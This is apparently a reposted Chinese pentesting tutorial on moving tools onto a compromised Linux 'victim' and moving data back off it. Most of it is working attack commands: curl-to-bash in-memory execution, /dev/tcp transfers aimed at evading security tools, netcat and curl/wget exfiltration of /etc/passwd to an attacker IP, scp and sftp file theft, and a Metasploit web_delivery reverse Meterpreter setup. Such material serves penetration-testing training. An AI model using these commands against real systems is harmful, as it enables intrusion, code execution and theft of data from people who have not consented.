在这篇文章中,我们将介绍各种技术,这些技术允许我们从攻击者计算机执行文件传输到受害 Linux 主机(下载),以及从受害 Linux 主机返回攻击者计算机(上传)。
作为黑客,我们不断发现需要将工具投放到受害者身上,或者需要将我们的漏洞利用下载到内存中。无论哪种方式,我们都需要知道如何将这些工具或漏洞发送给我们的受害者——更重要的是,我们需要知道多种方法来实现这一目标。
很多时候,我们会发现需要搜刮受害者机器并将文件泄露回我们的攻击机器进行更仔细的检查。
当您在受害主机上站稳脚跟并来回发送文件时,最好使用全局可写文件夹。在 Linux 机器上,我们可以为此使用/tmp或/dev/shm目录。或者,我们当前用户的主目录将是下一个最佳选项。
通常,文件传输是在获得立足点后进行的;但是,通常会发现我们需要传输文件作为漏洞利用的一部分才能获得立足点。
例如,假设我们通过 Web 应用程序漏洞在受灾主机上实现了 RCE。由于 Web 漏洞利用通常从 URL 栏执行,因此某些字符将被拒绝 - 即使使用 URL 编码也是如此。这会导致 Netcat 侦听器很伤心,因为各种反向 shell 1-liner 无法执行。但是,这就是将文件下载到受害者身上的能力可以派上用场的地方,以获得 shell。
在许多情况下,传输文件对于我们推进攻击和提升访问权限至关重要,因此让我们直接进入一些示例。
开始之前
对于这些示例,假设我们使用 NFS 共享中找到的凭证在目标主机上获得了立足点。找到凭据后,我们通过 SSH 对其进行了测试,并能够成功以用户主宰身份登录。
或者,如果我们通过其他方式获得 shell,例如:在 netcat 侦听器上获取 shell,或者使用将我们直接放入 shell 的漏洞,那么我们需要升级到完整的 TTY。
Shell 升级 – 完整的 TTY
如果我们没有使用 SSH 建立立足点,我们应该做的第一件事是将 shell 升级到完整的 TTY。
python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z #backgrounds netcat session
stty raw -echo
fg #brings netcat session back to the foreground
export TERM=xterm
一旦我们有了完整的 TTY,我们就可以使用箭头来浏览我们的命令历史记录、使用 Tab 键补全、清除终端等等。
对于我们将在本文中看到的一些示例,完整的 TTY 是必要的。
从攻击者的 HTTP 服务器下载文件
我们发现自己将文件下载到受害者身上的最常见方式可能是在我们的攻击者机器上设置 HTTP 服务器。
在攻击者计算机上设置 HTTP 服务器
使用这种技术,我们首先从包含我们想要下载到受害者的文件/漏洞利用的目录在攻击者机器上启动 HTTP 服务器。
启动 Apache Web 服务器
在我们的攻击者计算机上启动 HTTP 服务器的方法有很多;但是,最常见的方法是使用 Python 或 Apache。
使用 Python,您可以从任何目录启动 HTTP 服务器;但是,对于 Apache,有一个 webroot 目录,默认情况下通常为/var/www/html。
要启动 Apache Web 服务器,我们需要首先将要提供给受害者的文件放在/var/www/html中,然后运行命令:systemctl start apache2
启动后,我们将在端口 80 上运行一个 Web 服务器。
如果我们向 Web 服务器添加新文件,则需要使用以下命令重新启动服务以使其可见:systemctl restart apache2
启动 Python Web 服务器
启动 HTTP 服务器的另一种方法是使用 Python。
使用 Python,我们可以从任何目录中使用以下命令通过 HTTP 提供该目录:
python -m SimpleHTTPServer 80
python3 -m http.server 80
如果不在命令末尾添加 '80' 来告诉 Python 通过该端口运行 HTTP 服务器,默认情况下它将通过 pot 8000 运行 HTTP 服务器。这可能很烦人,因为它需要我们将端口号添加到 URL 中。
我个人使用 Python HTTP 服务器比任何其他方法都多。在以受害者为目标时,我将在我的攻击者计算机上创建一个特定于我所针对的主机的工作目录。然后,我可以将用于特定漏洞利用的任何工具复制到该目录中。此外,我还在我的攻击者机器上保留了一个 Linux 漏洞文件夹,其中包含我使用的所有常见漏洞和脚本。这使我能够准备好所有内容,以便从任一目录提供给受害者,同时保持我的漏洞利用位置井井有条。
使用 Python 的一大优点是,它可以直接在终端窗口中记录 HTTP 服务器上的活动。这使我们能够确认文件何时被下载。
或者,如果我们发现需要确认是否有效的盲目 RCE 漏洞,也可以使用此方法。我们可以使用以下命令之一来接触 HTTP 服务器,然后检查日志。如果日志进来,我们就知道我们有盲 RCE。
现在我们已经了解了如何启动 HTTP 服务器,让我们探索一下将文件从 HTTP 服务器下载到受害者的各种方法。
从攻击者的 HTTP 服务器下载文件:Curl、Wget 和 Bash
在 Linux 计算机上下载文件最常用的两个工具是curl和wget。
但是,还有许多其他二进制文件可用于下载文件。因此,作为奖励,我们还将了解如何使用bash下载文件。
使用 Curl 下载文件
Curl 是一个非常强大的工具,可用于与 Web 服务器交互。它通常在 Web 应用程序渗透测试期间使用;但是,它也可以用于从 Web 服务器快速下载文件,如下所示:
curl 172.16.1.30/linpeas.sh -o /dev/shm/linpeas.sh
将脚本或可执行文件下载到受害计算机上后,添加执行权限以运行它非常重要。
chmod 755 ./linpeas.sh
或者,我们可以将curl命令直接通过管道传输到bash中,这会将脚本直接下载到内存中。这样做时,文件永远不会实际下载到磁盘。
curl 172.16.1.30/linpeas.sh | bash
如果全面看到 0 表示该文件实际上并未下载,但我们可以看到它仍在运行。这是因为它被直接下载并执行到内存中。
使用 wget 下载文件
我们可以用来从攻击者机器下载文件的另一个很棒的工具是wget。与 curl不同,curl 可用于在 Web 服务器上执行几乎任何作,而 wget主要用于从 Web 服务器或 FTP 服务器下载 (GET) 文件。
我们可以使用wget从攻击者的机器上下载文件,如下所示:
wget http://172.16.1.30/linpeas.sh -O /dev/shm/linpeas.sh
同样,我们现在需要做的就是添加执行权限,脚本就可以使用了。
要将文件下载到当前目录,我们只需省略上述命令中的-O开关即可。
wget http://172.16.1.30/linpeas.sh
不幸的是,与使用curl相反,我们无法使用wget将脚本直接下载并执行到内存中。
使用 Bash 下载文件
如果我们想更加隐蔽呢?
当使用wget和curl下载文件时,安全工具很可能会发出警报,因为这些是该任务最常用的工具。
或者,我们甚至可能会发现这些二进制文件出于“安全”原因已被删除或禁用。
无论哪种情况,最好的解决方法之一是bash二进制文件。由于bash几乎总是大多数 Linux 发行版上的默认 shell,因此此程序的活动是意料之中的。
要使用bash下载文件,我们可以使用以下命令集:
bash -c '{ echo -ne "GET /linpeas.sh HTTP/1.0rnhost: 172.16.1.30rnrn" 1>&3; cat 0<&3; }
3<>/dev/tcp/172.16.1.30/80
| { while read -r; do [ "$REPLY" = "$(echo -ne "r")" ] && break; done; cat; } > linpeas.sh'
在极少数情况下,我们发现自己在受害者 Linux 主机上使用 GUI,我们可以通过使用受害者上的浏览器导航到我们的 HTTP 服务器,轻松地从攻击者机器下载文件。Linux 主机上的 GUI 访问可能来自 VNC、AnyDesk 或 TeamViewer 等工具。
单击这些文件中的任何一个都会将其下载到当前用户的 Downloads 文件夹中。
现在我们已经了解了如何从攻击机器下载文件,让我们看看如何将受害者的文件上传到攻击者机器上。
将文件上传到攻击者的 HTTP 服务器
通常,作为攻击者,我们发现需要将数据从受害者主机泄露到我们的攻击者计算机上。除非文件是文本文件,否则我们需要一种方法来有效地将文件发送回攻击者计算机。
为此,我们需要向 Web 服务器添加上传功能。
设置 HTTP 服务器以允许在攻击者计算机上上传
与下载示例类似,我们可以使用Apache或Python启动 HTTP 服务器。这次唯一的区别是我们需要配置它们以允许文件上传。
在我们的 Apache Web 服务器上创建文件上传器
从 Apache Web 服务器开始,我们可以通过制作 PHP 上传脚本来设置一种上传文件的方法。
为此,请首先使用文本编辑器并创建一个名为upload.php的脚本,然后将该脚本放在/var/www/html中。
以下是 upload.php 的脚本:
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
现在创建了文件,我们只需要创建uploads目录(根据脚本)来存放我们的上传内容。
最后,要完成这项工作,我们需要将 uploads 目录的完全所有权授予www-data。
mkdir /var/www/uploads
chown www-data:www-data /var/www/uploads
在创建了允许我们上传文件所需的文件和目录后,现在我们需要做的就是使用systemctl start apache2启动 Apache,然后我们将能够将文件从受害者上传到我们的攻击者机器。
在我们的 Python Web 服务器上创建文件上传器
不幸的是,我们在上一个示例中启动的简单 Python HTTP 服务器不接受 POST 请求。
但是,我们可以启动一个 HTTP 服务器,该服务器接受 POST 请求并允许文件上传,方法是使用名为SimpleHTTPServerWithUpload.py的 Python 脚本(可在此处找到)。
复制原始代码,然后使用文本编辑器将代码粘贴到名为SimpleHTTPServerWithUpload.py的文件中。之后,为脚本授予执行权限。
我们现在需要做的就是使用以下命令运行脚本,我们的服务器将运行:
python3 SimpleHTTPServerWithUpload.py 80
上传文件到攻击者的 HTTP 服务器:curl 和 wget
无论我们运行哪个服务器(Apache 或 Python),我们从受害计算机发出的用于上传文件的命令都是相同的 - 只有一个例外。上传到 Apache 服务器时,我们需要指定upload.php脚本作为目标。
对于这些示例,我已将/etc/passwd文件复制到/dev/shm目录中,我们将要将其上传到攻击者计算机。
使用 Curl 上传文件
使用curl,我们可以使用以下命令将passwd文件上传到 Python HTTP 服务器:
curl -F 'file=@/dev/shm/passwd' http://172.16.1.30/
我们可以看到,我们在这里收到了一条 “Success!” 消息,表明它有效。
再次检查我们的攻击者计算机,我们可以看到上传成功。
如果看到文件在两端的字节数相同,则意味着在传输过程中完整性保持不变。
关于受害者......
而关于攻击者......
此外,我们确认完整性保持完整的另一种方法是获取每个文件的 MD5 哈希值。
md5sum ./passwd
关于受害者......
而关于攻击者......
哈希匹配,这意味着传输过程中没有问题,并且文件在两端都是相同的。
完整性检查很重要,因为它可以快速帮助您了解为什么某些功能可能无法按预期工作。
或者,如果我们将其发送到 Apache 服务器,我们可以改用以下命令:
curl -F 'file=@/dev/shm/passwd' http://172.16.1.30/upload.php
使用 wget 上传文件
前面提到过wget主要用于 “GET” 请求。或者,它也可以用于上传文件,这是通过 POST 请求完成的。
我们可以通过发出以下命令将passwd文件上传到 Python HTTP 服务器:
wget --post-file=/dev/shm/passwd http://172.16.1.30/
同样,如果我们将其发送到 Apache 服务器,则需要将upload.php添加到目标地址。
wget --post-file=/dev/shm/passwd http://172.16.1.30/upload.php
好了,现在我们已经看到了一些关于如何从反向 shell 将文件上传到攻击者计算机的示例,让我们快速转移焦点,看看 VNC (GUI) 会话中的情况。
将文件上传到攻击者的 HTTP 服务器:浏览器 (GUI)
同样,在极少数情况下,我们发现自己在目标 Linux 计算机上具有 GUI 访问权限,我们可以使用 Python HTTP 服务器将文件上传到攻击者计算机。
apache 服务器没有只有 upload.php 的 GUI 上传功能。要创建为 apache 上传的 GUI,我们需要创建一个 upload.html 文件。如果您有兴趣,也许可以自己探索此选项。
使用 SimpleHTTPServerWithUpload.py 您仍然可以获得常规目录列表来下载文件 - 但我们还可以获得易于使用的 GUI 上传功能的额外好处,该功能可用于将文件快速泄露回我们的攻击者计算机。
关于受害者:
关于攻击者:
从攻击者的 FTP 服务器下载文件
在攻击者计算机上设置 FTP 服务器
在我们的攻击者机器上,我们可以使用许多不同的 FTP 程序来启动我们的服务器;但是,我们希望使用轻量级的东西,我们可以在没有开销的情况下启动和拆除。为此,我们将使用 Python 的pyftpdlib。
如果您还没有 pyftdlib,可以使用以下方法为 Python2 下载它:pip install pyftpdlib或使用python3 pip install pyftdlib或pip3 install pyftpdlib下载它
导航到包含要传输给受害者的文件的目录,然后使用以下命令启动 FTP 服务器:
python3 -m pyftpdlib -w -p 21
其中 '-w' 允许写入权限。将文件上传到 FTP 服务器时需要这样做。
完善!这将创建一个允许匿名访问的 FTP 服务器。
从攻击者的 FTP 服务器下载文件
现在我们已经启动了一个快速的脏 FTP 服务器,我们可以通过使用ftp命令进入服务器来从攻击者计算机下载文件。
此示例需要 Full TTY 才能与 FTP 服务器交互。
ftp 172.16.1.30
如果要下载二进制文件,请确保在get命令之前使用binary命令或简称bin。
我们看到文件下载成功;回到我们的攻击者机器上,我们可以在 FTP 日志中看到用户签入并下载了文件。
将文件上传到攻击者的 FTP 服务器
当我们启动 FTP 服务器时,我们使用了-w标志,它提供任何已登录(匿名)用户的写入权限。这允许我们PUT(上传文件) 到 FTP 服务器上。
要将文件上传到 FTP 服务器,我们使用与从它下载完全相同的技术。唯一的区别是这次我们将 'GET' 更改为 'PUT',这样它就会把一个文件放在服务器上,而不是抓取 (get) 一个文件。
ftp 172.16.1.30
上传文件后,我们可以看到它位于 FTP 服务器中。
返回我们的攻击者计算机,我们可以确认受害者已签到并且文件已成功上传。
使用 SSH 从攻击者那里传输文件
如果我们碰巧找到一组有效的凭证,并发现 SSH 是打开的,那么我们不仅能够使用一个强大的、完全交互式的 shell 登录到受害者主机,而且我们还能够非常轻松地与我们的攻击者计算机之间传输文件。
有两个工具可以利用 SSH 连接来传输文件,它们是scp和sftp。
使用任一工具(scp或sftp)的最佳方法是在我们的攻击者机器上保持两个选项卡打开。第一个选项卡将具有活动的 SSH 会话,另一个选项卡将处于待机状态,准备好传输文件。
将文件传输到受害者:scp
SCP(安全副本)是一个命令行实用程序,它允许我们在两个位置之间安全地复制文件和目录。
要将文件从我们的攻击者机器传输到受害者,我们可以使用以下命令:
scp ./linpeas.sh [email protected]:/dev/shm
输入密码后,我们可以看到linpeas.sh已成功转移给受害者。
我们还可以从我们的 SSH 会话中确认它成功。
将文件传输到受害者:sftp
SFTP 是 SSH 的一个子系统,这意味着它支持所有 SSH 身份验证方法。
使用sftp类似于使用ftp传输文件。唯一的区别是sftp允许访问整个受害者文件系统,就像它是一个 FTP 服务器一样。
我们可以使用以下命令进入受害主机上的sftp会话:
sftp [email protected]
使用sftp访问系统后,我们将进入当前用户的主目录。在这里,我们可以简单地导航到任何目录并使用 PUT 命令将文件拖放到受害者身上。
cd /dev/shm
put linpeas.sh
了不起!文件上传成功。同样,我们现在可以返回我们的 SSH 会话并确认它有效。
使用 SSH 将文件传输给攻击者
类似于我们刚刚使用scp和sftp从我们的攻击者机器(受害者)传输文件的方式。我们还可以使用这些工具将文件从受害者传输到我们的攻击者计算机上。
将文件传输到攻击者:scp
要将文件从受害者传输到我们的攻击者计算机上,我们可以使用以下命令:
scp [email protected]:/dev/shm/passwd .
这向我们展示了scp是来回发送文件的非常好的选择。但是,它不如sftp好。
将文件传输到攻击者:sftp
正如我们使用 PUT 方法将文件从攻击者计算机下载到受害者计算机时所看到的那样,我们也可以使用 GET 方法将文件从受害者上传到攻击者计算机。
sftp [email protected]
同样,在进入当前用户主目录后,我们可以导航到要从中窃取文件的文件夹,然后使用 GET 获取它。
cd /dev/shm
get passwd
在这里,我们可以看到我们从受害者那里抓取了passwd文件;然后当我们退出会话时,该文件位于我们的工作目录中。
我喜欢在两个选项卡中同时保持sftp会话和SSH会话打开。这允许在枚举受害主机时以简单一致的方式传输文件。
使用 Netcat 从攻击者那里传输文件
对于此技术,我们需要在受害者主机上安装 Netcat。如果受害者还没有,我们可以从攻击者的机器上传输副本......但是,如果内核版本差异太大,这并不总是有效。
但是,作为奖励,我们将学习如何使用 Netcat 侦听器从我们的攻击者机器上下载文件到受害者身上(是的,您没看错)。然后,我们将看到如何获取文件,即使受害者身上没有安装 Netcat!
从攻击者传输文件:nc
要将文件从攻击者计算机传输到受害者,我们需要首先在受害者上设置一个侦听器来捕获该文件。
关于受害者:
nc -nvlp 8000 > linpeas.sh
注意:因为我们不是 root,所以我们无法在低于 1024 的任何端口上打开侦听器。
现在我们已经为受害者准备好了侦听器,我们可以返回攻击者计算机并推送linpeas.sh,如下所示:
nc -nv 172.16.1.150 8000 < linpeas.sh
我们可以看到端口是打开的,我们能够连接到它。此外,回到受害者,我们可以看到我们的攻击者计算机已经签入。
然而,双方似乎都陷入了困境?– 这是因为 Netcat 在传输文件后不会自动关闭会话。
此时,我们有两个选择。首先,我们可以等待大约 30 秒,然后在攻击者端使用CTRL + C来关闭会话——让我们的 shell 在受害者身上保持活动状态。或者,我们可以在发送方(攻击者)端使用-q标志来告诉程序在文件传输后 X 秒正常退出。
一旦对攻击者执行CTRL + C,受害者端的提示将因会话关闭而返回。
回到受害者,我们的文件已成功创建。
要以正常退出方式执行此传输,在攻击者端运行的命令将更改为以下内容:
nc -nv -q 3 172.16.1.150 8000 < linpeas.sh
这告诉 netcat 一旦文件发送完毕,请等待 3 秒,然后退出。
伟大!效果很好......但是,如果受害者身上没有安装 Netcat 怎么办?
从攻击者那里传输文件:bash
即使我们发现受害者没有安装 Netcat,我们仍然可以结合使用 Netcat(攻击者)和bash(受害者)从攻击者机器上抓取文件。
这项技术的有趣之处在于,我们将在攻击者的机器上利用 Netcat 侦听器来推送文件。
在最后一个示例中,当我们使用 Netcat 推送文件时,我们将其推送到准备捕获该文件的受害计算机上的侦听器。监听者只关注受害者,而不是攻击者。
对于这种技术,我们将做一些不同的事情,并使用侦听器来推送文件。然后,我们将使用bash连接到攻击者计算机并获取正在推送的文件。
考虑常规文件推送与侦听器文件推送的一种简单方法是将其与反向 shell 和绑定 shell 进行比较。常规推送类似于反向 shell,因为它将连接发送到出站。侦听器推送就像一个 bind shell,因为它正在等待连接入站。
首先,我们需要在攻击者计算机上设置侦听器,它将向受害者提供文件。
nc -nvlp 443 < linpeas.sh
接下来,我们需要返回我们的受害者机器并绑定到这个侦听器,以便它推送文件。
bash -c 'cat < /dev/tcp/172.16.1.30/443 > linpeas.sh'
提示符挂起,因此大约 30 秒后,我们可以返回攻击者计算机并使用CTRL + C终止连接。
再次回到受害者身上,我们可以看到提示符返回并且文件传输成功 - 即使没有使用 Netcat!
使用 Netcat 将文件传输给攻击者
或者,我们可以做相反的事情,使用 Netcat 将受害者的文件传输(泄露)到我们的攻击者机器上。
此外,在此示例中,我们将看到当受害者未安装 Netcat 时,如何将文件推送到攻击者的 Netcat 侦听器!
将文件传输到攻击者:nc
要将文件从受害者传输到我们的攻击者机器上,我们需要首先在攻击者端设置一个侦听器——就像我们在上一个例子中对受害者所做的那样。
关于攻击者:
nc -nvlp 443 > passwd
由于我们在攻击者计算机上拥有 root 权限,因此我们可以使用任何我们想要的端口进行此文件传输。
现在返回受害者主机,我们可以使用以下命令推送passwd文件:
nc -nv -q 3 172.16.1.30 443 < passwd
这里我们可以看到文件传输成功;然后,在文件传输 3 秒后,程序正常退出并返回我们的常规提示符。
再次检查我们的攻击者计算机,我们可以看到文件传输成功。
伟大!效果很好......但又一次......如果受害者身上没有安装 Netcat 怎么办?
将文件传输到攻击者:bash
即使我们发现受害者没有安装 Netcat,我们仍然可以使用bash将文件推送到攻击者的 Netcat 侦听器。
首先,我们需要在攻击者计算机上启动 Netcat 侦听器以捕获文件。
nc -q 3 -nvlp 443 > passwd
在攻击者机器上准备好侦听器后,我们需要返回受害者并发出以下命令以使用bash推送passwd文件。
bash -c 'cat passwd > /dev/tcp/172.16.1.30/443'
因为我们再次使用了-q 3标志,所以 3 秒后连接会自动关闭。
回到攻击者的机器上,我们可以看到文件已成功传输 - 同样,没有在受害者身上安装 Netcat!
使用 Meterpreter 下载和上传文件
如果我们使用 Metasploit 执行初始漏洞利用并因此获得了 meterpreter 提示,那么我们可以使用内置的上传和下载功能轻松地与受害者之间传输文件。
但是,如果我们没有将 Metasploit 用于初始漏洞利用(我们没有这样做,因为我们找到了凭据并通过 SSH 登录),我们可以使用msfvenom从常规 shell 升级到 Meterpreter shell,以制作 Meterpreter 有效负载,然后将有效负载转移到受害者身上。
升级到 Meterpreter Shell:Web_Delivery 方法
或者,我们可以使用 Metasploit 的 Web 交付方法升级到 Meterpreter shell,而不是精心设计漏洞。
为此,我们需要在攻击者计算机上启动 Metasploit。
msfconsole -q
接下来,我们需要选择我们要使用的漏洞并查看需要设置的选项。我们可以使用以下命令来执行此作:
use multi/script/web_delivery
show options
查看选项,我们需要设置 4 项:Payload、LHOST、LPORT 和 Target。
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 172.16.1.30
set LPORT 443
set target Linux
完善!现在一切都设置好了,我们所要做的就是运行exploit命令,它将生成一个可以在受害者上运行的命令。
生成命令后,当侦听器等待受害者签到时,提示符将挂起。
在我们的 SSH 会话中复制和粘贴命令,我们可以看到会话进入后台。
回到我们的攻击者机器上,一个 Meterpreter 会话签入。签入后,我们可以使用sessions -i命令与会话交互并进入 Meterpreter 提示符。
现在我们已经升级到 Meterpreter 提示符,让我们看看如何使用 Meterpreter 命令轻松下载/上传文件。
使用 Meterpreter 将文件下载到受害者
借助 Meterpreter shell,我们可以使用内置的上传功能将文件从攻击者计算机传输到受害者。
Meterpreter 的上传和下载命令是从攻击者机器的角度出发的(上传文件给受害者,下载文件给攻击者);但是,整个帖子都是从受害者的角度出发的,我们一直在将文件下载到受害者的机器上,并将文件上传到攻击者。
upload /opt/Juggernaut/Ubuntu/linpeas.sh /dev/shm/linpeas.sh
使用 Meterpreter 从受害者上传文件
与我们使用upload命令将文件从攻击者计算机下载到受害者的方式类似,我们也可以使用download命令将文件从受害者上传(泄露)回攻击者计算机。
download /dev/shm/passwd /opt/Juggernaut/Ubuntu/passwd
完成后,我们可以返回攻击者计算机以确认它是否有效。
复制和粘贴 – cat
最后一种方法是将文件“传输”到我们的攻击者计算机或从我们的攻击者计算机传输文件通常是最简单的方法;但是,这仅适用于 TXT(非二进制)文件。
此方法只能用于“传输”中小型 TXT 文件。任何大文件都应使用上述其他方法之一进行传输。
对于任何 TXT 文件,我们都可以简单地使用cat来查看文件的内容。然后,我们可以复制整个输出并使用我们复制的内容编写一个新文件。
这可以从任何方向进行 - 从我们的攻击者到受害者,或者反之亦然。
从 Attacker 处复制脚本并粘贴到 Victim 上
例如,假设我们想将 Python 漏洞转移给受害者。好吧,在这种情况下,我们可以直接从攻击者的机器上cat脚本,然后完整地复制内容。
cat exploit.py
完整复制脚本后,我们可以在受害者身上打开文本编辑器并粘贴它。
在这里我们可以看到两边的字节 (2867) 相同,表明文件已成功 “传输”。
从受害者处复制文件并粘贴到攻击者处
如上所述,这种技术是双向工作的。因此,我们可以通过使用cat轻松“传输”passwd文件,复制内容,然后粘贴到攻击者计算机上的文本编辑器中。
cat /etc/passwd
回到我们的攻击者,我们可以将其粘贴到文本编辑器中以获取passwd文件的副本。
最后的思考
哇!我们刚刚介绍了许多不同的方法,以便在攻击者计算机和受害 Linux 主机之间传输文件。虽然这篇文章没有涵盖传输文件的所有方式,但它确实涵盖了足够的内容,让我们自信地知道这不会让我们绊倒并导致我们浪费大量时间。
这是黑客攻击的一个重要方面——没有什么比因为你的灵丹妙药不起作用而努力寻找移动文件的方法更令人沮丧的了。了解多种传输文件的方法可确保我们取得成功 - 无论哪种方式。
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏
原文始发于微信公众号(moonsec):linux渗透下的文件传输
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论